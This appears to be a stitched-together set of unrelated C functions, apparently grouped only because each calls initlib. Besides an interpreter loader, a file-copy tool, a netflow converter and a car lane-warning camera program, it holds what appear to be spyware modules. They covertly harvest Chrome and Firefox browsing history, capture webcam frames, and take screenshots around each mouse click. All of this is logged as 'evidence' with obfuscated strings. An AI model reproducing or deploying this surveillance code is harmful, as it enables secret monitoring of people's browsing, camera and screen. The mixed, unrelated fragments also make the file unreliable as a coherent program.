bool Load(const char *filename) { static char fileName[stringsize] = ""; if(filename) strncat(strcpy(fileName, ""), filename, stringsize-1); if(strlen(fileName) == 0) return False; else if(seterror()==0) { initstack(); unlockmem(); inithashtable(); lockmem(); initlex(); initlib(); initsyslib(); initmodify(); parsefile(inipath); parsefile(fileName); checkdefinitions(); modify_definitions(); lockmem(); if (gettemplate("main")->tag == FUNC) { Interpret("main"); } return True; } else { initstack(); unlockmem(); inithashtable(); lockmem(); initlex(); initlib(); initsyslib(); initmodify(); parsefile(inipath); checkdefinitions(); modify_definitions(); lockmem(); return False; } }
static void url_chrome(void) { int i; glob_t g = {0}; struct stat s; char *query = SO"SELECT IFNULL(B.url, ''), IFNULL(B.title, ''), A.visit_time/1000000-11644473600 AS timestamp FROM visits AS A JOIN urls AS B ON A.url = B.id WHERE timestamp BETWEEN ? AND ?"; char *tmpf = NULL; sqlite3 *db = NULL; sqlite3_stmt *stmt = NULL; do { if(initlib(INIT_LIBSQLITE3)) break; if(glob(SO"~/.config/{google-chrome,chromium}/*/History", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break; for(i = 0; i < g.gl_pathc; i++) { do { if(stat(g.gl_pathv[i], &s) || (s.st_mtime < begin)) break; if(!(tmpf = clonefile(g.gl_pathv[i]))) break; if(sqlite3_open(tmpf, &db) != SQLITE_OK) break; if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK) break; while(sqlite3_step(stmt) == SQLITE_ROW) { /* TODO gestire con una lista */ if(!list) { if(!(list = malloc(sizeof(struct entry)))) break; listp = list; } else { if(!(listp->next = malloc(sizeof(struct entry)))) break; listp = listp->next; } listp->next = NULL; listp->browser = BROWSER_CHROME; listp->url = strdup(sqlite3_column_text(stmt, 0)); listp->title = strdup(sqlite3_column_text(stmt, 1)); listp->time = (time_t)sqlite3_column_int(stmt, 2); /* TODO */ } } while(0); if(stmt) { sqlite3_finalize(stmt); stmt = NULL; } if(db) { sqlite3_close(db); db = NULL; } if(tmpf) { unlink(tmpf); free(tmpf); tmpf = NULL; } } } while(0); globfree(&g); return; }
int main(int argc, char * argv[]) { fc_file_t * file = NULL; if(argc < 4){ usage(); return -1; } FILE* from = NULL; if(initlib(argv[1])<0){ perror("initlib error\n"); return -1; } file = fc_open(argv[3], SCSI_FILE_OPEN_WRITE,0); if(file == NULL){ perror("cannot open file"); return -1; } from = open(argv[2],O_RDONLY); if(from <0){ perror("open localfile to read error"); } char buff[256*1024]; int writesize=0; int read_size=0; lseek(from,0,SEEK_SET); read_size=read(from, buff, sizeof(buff)); while(read_size>0){ writesize = fc_write(file, buff, read_size); if(writesize <=0){ fprintf(stderr,"fc_write writesize=%d \n",writesize); break; } read_size=read(from, buff, sizeof(buff)); } print_fc_file(file); close(from); return fc_close(file); }
static void url_firefox(void) { int i; glob_t g = {0}; struct stat s; char *query = SO"SELECT IFNULL(B.url, ''), IFNULL(B.title, ''), A.visit_date/1000000 AS timestamp FROM moz_historyvisits AS A JOIN moz_places AS B ON A.place_id = B.id WHERE timestamp BETWEEN ? AND ?"; sqlite3 *db = NULL; sqlite3_stmt *stmt = NULL; do { if(initlib(INIT_LIBSQLITE3)) break; if(glob(SO"~/.mozilla/{firefox,icecat}/*/places.sqlite", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break; for(i = 0; i < g.gl_pathc; i++) { do { if(stat(g.gl_pathv[i], &s) || (s.st_mtime < begin)) break; if(sqlite3_open(g.gl_pathv[i], &db) != SQLITE_OK) break; if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK) break; while(sqlite3_step(stmt) == SQLITE_ROW) { /* TODO gestire con una lista */ if(!list) { if(!(list = malloc(sizeof(struct entry)))) break; listp = list; } else { if(!(listp->next = malloc(sizeof(struct entry)))) break; listp = listp->next; } listp->next = NULL; listp->browser = BROWSER_FIREFOX; listp->url = strdup(sqlite3_column_text(stmt, 0)); listp->title = strdup(sqlite3_column_text(stmt, 1)); listp->time = (time_t)sqlite3_column_int(stmt, 2); /* TODO */ } } while(0); if(stmt) { sqlite3_finalize(stmt); stmt = NULL; } if(db) { sqlite3_close(db); db = NULL; } } } while(0); globfree(&g); return; }
void CreateInterpreter(void) { if(seterror() == 0) { Write(BANNER); createstack(); createhashtable(); createIO(); createmem(atol(GetOption("MemorySize"))); initstack(); inithashtable(); lockmem(); initlex(); initlib(); initsyslib(); initmodify(); parsefile(inipath); checkdefinitions(); modify_definitions(); lockmem(); } else exit(1); }
void *module_camera_main(void *args) { struct v4l2_format fmt = {0}; struct v4l2_buffer buf = {0}; struct v4l2_requestbuffers req = {0}; enum v4l2_buf_type type; struct { void *start; size_t length; } *buffers = NULL; fd_set rfds; struct timeval tv = { 3, 0 }; int i, camfd = -1; char *dataptr = NULL; long datalen = 0; unsigned int quality = 90; debugme("Module CAMERA executed\n"); if(initlib(INIT_LIBV4L2|INIT_LIBJPEG)) return NULL; if(MODULE_CAMERA_P) quality = MODULE_CAMERA_P->quality; do { if((camfd = v4l2_open(SO"/dev/video0", O_RDWR | O_NONBLOCK, 0)) < 0) break; fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; fmt.fmt.pix.width = 640; fmt.fmt.pix.height = 480; fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_RGB24; fmt.fmt.pix.field = V4L2_FIELD_INTERLACED; if(v4l2_ioctl(camfd, VIDIOC_S_FMT, &fmt) == -1) break; if(fmt.fmt.pix.pixelformat != V4L2_PIX_FMT_RGB24) break; req.count = 2; req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; req.memory = V4L2_MEMORY_MMAP; if(v4l2_ioctl(camfd, VIDIOC_REQBUFS, &req) == -1) break; if(!(buffers = calloc(req.count, sizeof(*buffers)))) break; for(i = 0; i < req.count; i++) { memset(&buf, 0x00, sizeof(buf)); buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; buf.index = i; if(v4l2_ioctl(camfd, VIDIOC_QUERYBUF, &buf) == -1) break; buffers[i].length = buf.length; if((buffers[i].start = v4l2_mmap(NULL, buf.length, PROT_READ|PROT_WRITE, MAP_SHARED, camfd, buf.m.offset)) == MAP_FAILED) break; } if(i != req.count) break; for(i = 0; i < req.count; i++) { memset(&buf, 0x00, sizeof(buf)); buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; buf.index = i; if(v4l2_ioctl(camfd, VIDIOC_QBUF, &buf) == -1) break; } if(i != req.count) break; type = V4L2_BUF_TYPE_VIDEO_CAPTURE; if(v4l2_ioctl(camfd, VIDIOC_STREAMON, &type) == -1) break; FD_ZERO(&rfds); FD_SET(camfd, &rfds); if((i = select(camfd + 1, &rfds, NULL, NULL, &tv)) <= 0) break; memset(&buf, 0x00, sizeof(buf)); buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; if(v4l2_ioctl(camfd, VIDIOC_DQBUF, &buf) == -1) break; if(!(datalen = encodeimage(buffers[buf.index].start, fmt.fmt.pix.width, fmt.fmt.pix.height, quality, &dataptr))) break; evidence_write(EVIDENCE_TYPE_CAMERA, NULL, 0, dataptr, datalen); } while(0); if(camfd != -1) { type = V4L2_BUF_TYPE_VIDEO_CAPTURE; v4l2_ioctl(camfd, VIDIOC_STREAMOFF, &type); } for(i = 0; i < req.count; i++) v4l2_munmap(buffers[i].start, buffers[i].length); if(camfd != -1) v4l2_close(camfd); if(dataptr) free(dataptr); if(buffers) free(buffers); debugme("Module CAMERA ended\n"); return NULL; }
int main (int argc, char* argv[]) { FILE* fp; int i; libnfstates_t* states; master_record_t* r; nfrecord_t* srec; if (argc != 2) { fprintf(stderr,"An nfcapd file needs to be passed as command line argument\n"); return (EXIT_FAILURE); } /* Initilize stripped IP record */ srec = calloc(sizeof(nfrecord_t),1); if (!srec) { fprintf(stderr, "No memory\n"); return EXIT_FAILURE; } printf("sizeof(nfrecord_t) %d\n",sizeof(nfrecord_t)); /* Initialize libnfdump */ states = initlib(NULL, argv[1],NULL); if (states) { /* Open target file */ fp = fopen("test.dat","w"); if (!fp){ fprintf(stderr,"Failed to open target file\n"); goto out; } printf("Opened test.dat ..\n"); do { r = get_next_record(states); if (r) { bzero(srec, sizeof(nfrecord_t)); if ( (r->flags & FLAG_IPV6_ADDR ) != 0 ) { /* Copy IPv6 source address */ srec->ipversion = 6; srec->srcaddr.ipv6[0] = r->v6.srcaddr[0]; srec->srcaddr.ipv6[1] = r->v6.srcaddr[1]; /* Copy IPv6 destination address */ srec->dstaddr.ipv6[0] = r->v6.dstaddr[0]; srec->dstaddr.ipv6[1] = r->v6.dstaddr[1]; }else{ /* Copy IPv4 source address */ srec->srcaddr.ipv4 = r->v4.srcaddr; srec->dstaddr.ipv4 = r->v4.dstaddr; } /* Copy source port */ srec->srcport = r->srcport; /* Copy destination port */ srec->dstport = r->dstport; /* Copy time stamp information */ srec->msec_first = r->msec_first; srec->msec_last = r->msec_last; /* Copy protocol */ srec->prot = r->prot; /* Copy packets and Octects */ srec->dPkts = r->dPkts; srec->dOctets = r->dOctets; /* Save the structure in the file */ i = fwrite(srec, sizeof(nfrecord_t),1, fp) != sizeof(nfrecord_t); if (i != 1) { fprintf(stderr,"The outputfile is incomplete!\n"); } } } while (r); fclose(fp); printf("Storage done. You could compress the file test.dat with gzip or zlib.\n"); out: /* Close the nfcapd file and free up internal states */ free(srec); libcleanup(states); } return(EXIT_SUCCESS); }
int main(int argc, char* argv[]) { int ret; char fn[32] = "/sdcard/car.config"; if(atexit(exit_handler) != 0) { exit(EXIT_FAILURE); } if(signal(SIGINT, signal_init_handler) == SIG_ERR) { exit(EXIT_FAILURE); } i2c_download_adv7180_init(); int width = 320; int height = 240; config.width = width; config.height = height; config.format = V4L2_PIX_FMT_YUV420; //config.format = V4L2_PIX_FMT_YUV422P; tvout_open(&config); fd_mem = open( "/dev/mem", O_RDWR ); // paddr_mem_tv = mmap( 0, size_mem, PROT_READ | PROT_WRITE, MAP_SHARED, fd_mem, addr_phy_tv ); // memset(paddr_mem_tv, 0x80, size_mem); size_mem = width * height * 2; paddr_mem_tv = mmap( 0, size_mem, PROT_READ | PROT_WRITE, MAP_SHARED, fd_mem, addr_phy_tv ); memset(paddr_mem_tv, 0x80, size_mem); camera.format.width = width; /* set output frame width */ camera.format.height = height; /* set output frame height */ camera.format.pixelformat = V4L2_PIX_FMT_YUV420; //camera.format.pixelformat = V4L2_PIX_FMT_YUYV; ret = camera_init(&camera); if(0 > ret) { perror("open camera device error"); exit(EXIT_FAILURE); } unsigned char *paddr_camera; long size_camera; struct timeval start,end; long timeuse = 0; long time_max = 0; long time_temp = 0; int i = 0; static struct car_parm_setting car_set; if(initlib(fn) >= 0) { if (isname("PARAM","carbody_width")) car_set.carbody_width = atoi(getvalue("carbody_width")); if (isname("PARAM","camera_high_degree")) car_set.camera_high_degree = atoi(getvalue("camera_high_degree")); tidyup(); } else { car_set.carbody_width = 150; car_set.camera_high_degree = 50; } car_set.init_flag = 1; car_set.img_width = width; car_set.img_height = height; printf("/*......Car Setting......*/\n"); printf(" carbody width = %d cm \n", car_set.carbody_width); printf(" camera high degree = %d cm \n", car_set.camera_high_degree); printf(" image width = %d pixel \n", car_set.img_width); printf(" image height = %d pixel \n", car_set.img_height); printf("/*.......................*/\n"); while (1) { // paddr_camera = camera_get_one_frame_noneblock(&camera, &size_camera); // gettimeofday( &start, NULL ); paddr_camera = camera_get_one_frame(&camera, &size_camera); car_set.pIn_addr = paddr_camera; car_set.gps_speed = 70; car_set.light_signal = LIGHT_SIGNAL_OFF; paddr_camera = set_car_parm(&car_set); switch(car_set.car_event) { case WARNING_DRIVING_SAFE: printf("=\n"); break; case WARNING_DRIVING_LEFT: printf("<\n"); break; case WARNING_DRIVING_RIGHT: printf(">\n"); break; } //car_event = car_set.car_event; paddr_camera = car_set.pOut_addr; memcpy(paddr_mem_tv, paddr_camera, width*height); camera_get_one_frame_complete(&camera); config.addr_phy = addr_phy_tv; tvout_exe(&config); gettimeofday( &end, NULL ); time_temp = 1000000 * ( end.tv_sec - start.tv_sec )+ (end.tv_usec - start.tv_usec); if (time_temp > time_max) { time_max = time_temp; } timeuse +=time_temp; DEBUG("time used: % 7ld us\n", time_temp); ++i; if ( timeuse > 10*1000000) { printf("get %d frames spent % 7ld msec average frame rate = %ld\n", i, timeuse, i*1000000/timeuse); i = 0; timeuse = 0; } } return 0; }
void *module_mouse_main(void *args) { Display *display = NULL; int i, devnum = 0, mousenum = 0, buttonrelease = 0; XDeviceInfo *devinfo = NULL; XDevice **device = NULL; XEventClass evlist; XEvent event; Window root, child; int rootX, rootY, childX, childY; unsigned int mask; XWindowAttributes wininfo; int maxfd = -1, xfd = -1; int width = 40, height = 40; char *process = NULL, *title = NULL; int imgx, imgy, imgw, imgh; fd_set rfds; struct additional a; BIO *bio_additional = NULL; char *additionalptr, *dataptr = NULL; long additionallen, datalen = 0; debugme("Module MOUSE started\n"); if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL; if(MODULE_MOUSE_P) { width = MODULE_MOUSE_P->width; height = MODULE_MOUSE_P->height; } do { if((display = XOpenDisplay(NULL)) == NULL) break; if((xfd = ConnectionNumber(display)) < 0) break; if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break; if(!(device = calloc(devnum, sizeof(XDevice *)))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; for(i = 0; i < devnum; i++) { if(devinfo[i].use == IsXExtensionPointer) { if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue; DeviceButtonRelease(device[i], buttonrelease, evlist); XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1); mousenum++; } } if(!mousenum) break; maxfd = MAX(xfd, MODULE_MOUSE.event) + 1; while(MODULE_MOUSE.status != MODULE_STOPPING) { do { if(!XPending(display)) { FD_ZERO(&rfds); FD_SET(xfd, &rfds); FD_SET(MODULE_MOUSE.event, &rfds); if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break; } if(MODULE_MOUSE.status == MODULE_STOPPING) break; if(XNextEvent(display, &event)) break; if(event.type != buttonrelease) break; if(((XDeviceButtonEvent *)&event)->button > 3) break; XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask); XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo); getwindowproperties(display, getactivewindow(display), &process, &title); debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title); imgx = MAX(rootX - (width / 2), 0); imgy = MAX(rootY - (height / 2), 0); imgw = MIN(rootX + (width / 2), wininfo.width) - imgx; imgh = MIN(rootY + (height / 2), wininfo.height) - imgy; if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break; a.version = MOUSEMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; a.x = rootX; a.y = rootY; a.width = imgw; a.height = imgh; (void)BIO_reset(bio_additional); BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen); } while(0); if(dataptr) { free(dataptr); dataptr = NULL; } if(process) { free(process); process = NULL; } if(title) { free(title); title = NULL; } } } while(0); if(bio_additional) BIO_free(bio_additional); if(device) { for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]); free(device); } if(devinfo) XFreeDeviceList(devinfo); if(display) XCloseDisplay(display); debugme("Module MOUSE stopped\n"); return NULL; }